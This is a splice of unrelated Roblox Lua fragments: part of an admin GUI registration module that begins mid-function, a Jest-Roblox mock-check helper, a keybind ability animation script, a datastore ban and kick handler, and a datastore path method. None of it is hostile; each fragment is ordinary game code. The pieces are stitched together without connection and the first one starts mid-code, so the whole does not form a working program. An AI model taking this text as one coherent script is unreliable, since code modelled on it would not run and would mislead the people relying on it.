pcall(require, folder) local rets = { --// NoEnv temporarily disabled ~ Expertcoderz --[[if folderNoEnv then pcall(func, newGui, gTable, data, newEnv) else]] pcall(setfenv(func, newEnv), newGui, gTable, data, newEnv) } local ran, ret = rets[1], rets[2] if ret ~= nil then if type(ret) == "userdata" and Anti.GetClassName(ret) == "ScreenGui" then code = (ret:FindFirstChild("Config") and (ret.Config:FindFirstChild("Code") or ret.Config:FindFirstChild("NoEnv-Code"))) or code if not data.NoEnv and code then data.NoEnv = string.sub(code.Name, 1, 5) == "NoEnv" end else return ret end end end newGui.Parent = Variables.GUIHolder newGui.Name = Functions.GetRandom() data.gIndex = gIndex data.gTable = gTable code.Parent = conf code.Name = name if mod then UI.LoadModule(mod, data, { script = mod; gTable = gTable; Data = data; GUI = newGui; isModifier = true; }) end return UI.LoadModule(code, data, { script = code; gTable = gTable; Data = data; GUI = newGui; Theme = theme; ThemeFolder = folder; isCode = true; }) end end else print("GUI", name, "not found") end end; Get = function(obj,ignore,returnOne) local found = {} local num = 0 if obj then for ind,g in client.GUIs do if g.Name ~= ignore and g.Object ~= ignore and g ~= ignore then if type(obj) == "string" then if g.Name == obj then found[ind] = g num = num+1 if returnOne then return g end end elseif type(obj) == "userdata" then if service.RawEqual(g.Object, obj) then found[ind] = g num = num+1 if returnOne then return g end end elseif type(obj) == "boolean" and obj == true then found[ind] = g num = num+1 if returnOne then return g end end end end end if num<1 then return false else return found,num end end; Remove = function(name, ignore) local gui = UI.Get(name, ignore) if gui then for i,v in gui do v.Destroy() end end end; Register = function(gui, data) local gIndex = Functions.GetRandom() local gTable;gTable = { Object = gui, Config = gui:FindFirstChild'Config'; Name = gui.Name, Events = {}, Class = gui.ClassName, Index = gIndex, Active = true, Ready = function() if gTable.Config then gTable.Config.Parent = nil end local ran,err = pcall(function() local obj = gTable.Object; if gTable.Class == "ScreenGui" or gTable.Class == "GuiMain" then if obj.DisplayOrder == 0 then obj.DisplayOrder = 90000 end obj.Enabled = true obj.Parent = service.PlayerGui else obj.Parent = UI.GetHolder() end end); if ran then gTable.Active = true else warn("Something happened while trying to set the parent of", gTable.Name) warn(err) gTable:Destroy() end end, BindEvent = function(event, func) local signal = event:Connect(func) local origDisc = signal.Disconnect local Events = gTable.Events local disc = function() origDisc(signal) for i,v in Events do if v.Signal == signal then table.remove(Events, i) end end end table.insert(Events, { Signal = signal; Remove = disc }) return { Disconnect = disc; disconnect = disc; wait = service.CheckProperty(signal, "wait") and signal.wait }, signal end, ClearEvents = function() for i,v in gTable.Events do v:Remove() end end, Destroy = function() pcall(function() if gTable.CustomDestroy then gTable.CustomDestroy() else service.UnWrap(gTable.Object):Destroy() end end) gTable.Destroyed = true gTable.Active = false client.GUIs[gIndex] = nil gTable.ClearEvents() end, UnRegister = function() client.GUIs[gIndex] = nil if gTable.AncestryEvent then gTable.AncestryEvent:Disconnect() end end, Register = function(tab,new) if not new then new = tab end new:SetSpecial("Destroy", gTable.Destroy) gTable.Object = service.Wrap(new) gTable.Class = new.ClassName if gTable.AncestryEvent then gTable.AncestryEvent:Disconnect() end gTable.AncestryEvent = new.AncestryChanged:Connect(function(c, parent) if client.GUIs[gIndex] and rawequal(c, gTable.Object) then if gTable.Class == "TextLabel" and parent == service.PlayerGui then task.wait() gTable.Object.Parent = UI.GetHolder() elseif rawequal(c, gTable.Object) and parent == nil and not gTable.KeepAlive then gTable:Destroy() elseif rawequal(c, gTable.Object) and parent ~= nil then gTable.Active = true client.GUIs[gIndex] = gTable end end end) client.GUIs[gIndex] = gTable end } if data then for i,v in data do gTable[i] = v end end gui.Name = Functions.GetRandom() gTable:Register(gui) return gTable,gIndex end } client.UI.RegisterGui = client.UI.Register client.UI.GetGui = client.UI.Get client.UI.PrepareGui = client.UI.Prepare client.UI.MakeGui = client.UI.Make end
-- ROBLOX deviation: we don't use the Error polyfill because we encounter an error with TestEZ
function ensureMockOrSpy( received: any, matcherName: string, expectedArgument: string, options: JestMatcherUtils.MatcherHintOptions ) if not isMock(received) and not isSpy(received) then error( Error( matcherErrorMessage( matcherHint(matcherName, nil, expectedArgument, options), ("%s value must be a mock or spy function"):format(RECEIVED_COLOR("received")), printWithType("Received", received, printReceived) ) ) ) end end
-- ANimation
local Sound = script:WaitForChild("Haoshoku Sound") UIS.InputBegan:Connect(function(Input) if Input.KeyCode == Enum.KeyCode.C and Debounce == 1 and Tool.Equip.Value == true and Tool.Active.Value == "None" and script.Parent.DargonOn.Value == false then Debounce = 2 Track1 = plr.Character.Humanoid:LoadAnimation(script.AnimationCharge) Track1:Play() for i = 1,math.huge do if Debounce == 2 then plr.Character.HumanoidRootPart.CFrame = CFrame.new(plr.Character.HumanoidRootPart.Position, Mouse.Hit.p) plr.Character.HumanoidRootPart.Anchored = true else break end wait() end end end) UIS.InputEnded:Connect(function(Input) if Input.KeyCode == Enum.KeyCode.C and Debounce == 2 and Tool.Equip.Value == true and Tool.Active.Value == "None" and script.Parent.DargonOn.Value == false then Debounce = 3 plr.Character.HumanoidRootPart.Anchored = false local Track2 = plr.Character.Humanoid:LoadAnimation(script.AnimationRelease) Track2:Play() Track1:Stop() Sound:Play() for i = 1,10 do wait(0.1) local mousepos = Mouse.Hit script.RemoteEvent:FireServer(mousepos,Mouse.Hit.p) end wait(0.3) Track2:Stop() wait(.5) Tool.Active.Value = "None" wait(3) Debounce = 1 end end)
-- Returns a string key to use in order to access a player's data store
local function getKey(player) return tostring(player.UserId) end local function plural(n) return n == 1 and "" or "s" end local function getTimeString(seconds) local minutes = math.floor(seconds / 60) seconds = seconds % 60 local hours = math.floor(minutes / 60) minutes = minutes % 60 local days = math.floor(hours / 24) hours = hours % 24 local s if days > 0 then s = days .. " day" .. plural(days) if hours > 0 then s = s .. ", " .. hours .. " hour" .. plural(hours) end elseif hours > 0 then s = hours .. " hour" .. plural(hours) if minutes > 0 then s = s .. ", " .. minutes .. " minute" .. plural(minutes) end elseif minutes > 0 then s = minutes .. " minute" .. plural(minutes) if seconds > 0 then s = s .. ", " .. seconds .. " second" .. plural(seconds) end else s = seconds .. " second" .. plural(seconds) end return s end local function processPayload(player, payload) local now = os.time() if payload["status"] == "banned" then local kickMessage = "" if type(payload["expires"]) == "number" then if now >= payload["expires"] then -- Ban expired return end local seconds = math.max(0, payload["expires"] - now) -- Double check if seconds <= 0 then return end kickMessage = MESSAGE_BAN:gsub("%%TIME%%", getTimeString(seconds)) else kickMessage = MESSAGE_BAN_NO_EXPIRE end if type(payload["reason"]) == "string" then kickMessage = kickMessage .. REASON:gsub("%%REASON%%", payload["reason"]) end script.KickingBannedPlayer:Fire(player, payload) -- Attempt to increment the number of "kicks" spawn(function () pcall(function () dsPlayerBans:UpdateAsync(getKey(player), function (oldPayload) if not oldPayload then return nil end -- Shallow copy local newPayload = {} for k, v in pairs(oldPayload) do newPayload[k] = v end -- Increment # of kicsk newPayload["kicks"] = (newPayload["kicks"] or 0) + 1 newPayload["lastKick"] = now return newPayload end) end) end) --local Controls = require(player.PlayerScripts:WaitForChild("PlayerModule")):GetControls()---GetControls --Controls:Disable() wait(3) player.PlayerGui.MainUI.Banished.LocalScript.Disabled = false player.PlayerGui.MainUI.Banished.Banned.Visible = true end end local function onPlayerAdded(player) local payload pcall(function () payload = dsPlayerBans:GetAsync(getKey(player)) end) if type(payload) == "table" then processPayload(player, payload) else -- No bans end end Players.PlayerAdded:connect(onPlayerAdded) for _, player in pairs(Players:GetPlayers()) do onPlayerAdded(player) end
--[=[ Returns the full path for the datastore @return string ]=]
function DataStore:GetFullPath() return ("RobloxDataStore@%s"):format(self._key) end